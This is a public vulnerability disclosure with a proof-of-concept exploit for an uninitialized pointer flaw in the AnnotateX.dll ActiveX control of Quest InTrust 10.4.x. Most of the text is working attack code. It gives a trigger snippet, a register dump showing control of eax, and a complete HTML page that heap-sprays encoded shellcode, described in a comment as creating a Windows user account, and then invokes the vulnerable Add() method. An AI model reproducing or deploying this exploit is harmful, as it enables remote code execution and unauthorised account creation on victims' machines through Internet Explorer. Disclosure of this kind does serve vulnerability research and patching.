Quest InTrust 10.4.x – Annotation Objects ActiveX Control ‘AnnotateX.dll’ Uninitialized Pointer Remote Code Execution
Quest InTrust 10.4.x Annotation Objects ActiveX Control AnnotateX.dll Uninitialized Pointer Remote Code Execution homepage: http://www.quest.com/intrust/ description: "InTrust securely collects, stores, reports and alerts on event log data from Windows, Unix and Linux systems, helping you comply with external regulations, internal policies and security best practices." download url of a test version: http://www.quest.com/downloads/ file tested: Quest_InTrust---Full-Package_104.zip Background: The mentioned product installs an ActiveX control with the following settings: binary path: C:\PROGRA~1\COMMON~1\SOFTWA~1\ANNOTA~1.DLL CLSID: {EF600D71-358F-11D1-8FD4-00AA00BD091C} ProgID: AnnotationX.AnnList.1 Implements IObjectSafety: Yes Safe for Scripting (IObjectSafety): True Safe for Initialization (IObjectSafety): True According to the IObjectSafety interface it is safe for scripting and safe for initialization, so Internet Explorer will allow scripting of this control from remote. Vulnerability: By invoking the Add() method is possible to call inside a memory region of choice set by the attacker through ex. heap spray or other tecniques. Example code: <object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='obj' /> </object> <script> obj.Add(0x76767676,1); </script> ... eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001 eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 ANNOTA_1+0xae62: 4400ae62 ff1485504a0244 call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=???????? ... You are in control of eax: fully exploitable. As attachment, proof of concept code. <!-- Quest InTrust 10.4.x Annotation Objects ActiveX Control (ANNOTATEX.DLL) Uninitialized Pointer Remote Code Execution PoC (ie7) binary path: C:\PROGRA~1\COMMON~1\SOFTWA~1\ANNOTA~1.DLL CLSID: {EF600D71-358F-11D1-8FD4-00AA00BD091C} ProgID: AnnotationX.AnnList.1 Implements IObjectSafety: Yes Safe for Scripting (IObjectSafety): True Safe for Initialization (IObjectSafety): True --> <!-- saved from url=(0014)about:internet --> <html> <object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='obj' /> </object> <script language='javascript'> //add user one, user "sun" pass "tzu" shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" + "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" + "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" + "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" + "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" + "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" + "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" + "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" + "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" + "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" + "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" + "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" + "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" + "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" + "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" + "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" + "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" + "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" + "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" + "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" + "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" + "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" + "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" + "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" + "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" + "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" + "%u7734%u4734%u4570"); bigblock = unescape("%u0c0c%u0c0c"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<1000;i++){memory[i] = block+shellcode} </script> <script defer=defer> obj.Add(0x76767676,1); //this should result in an address beginning with 0x1d1d[..] </script> |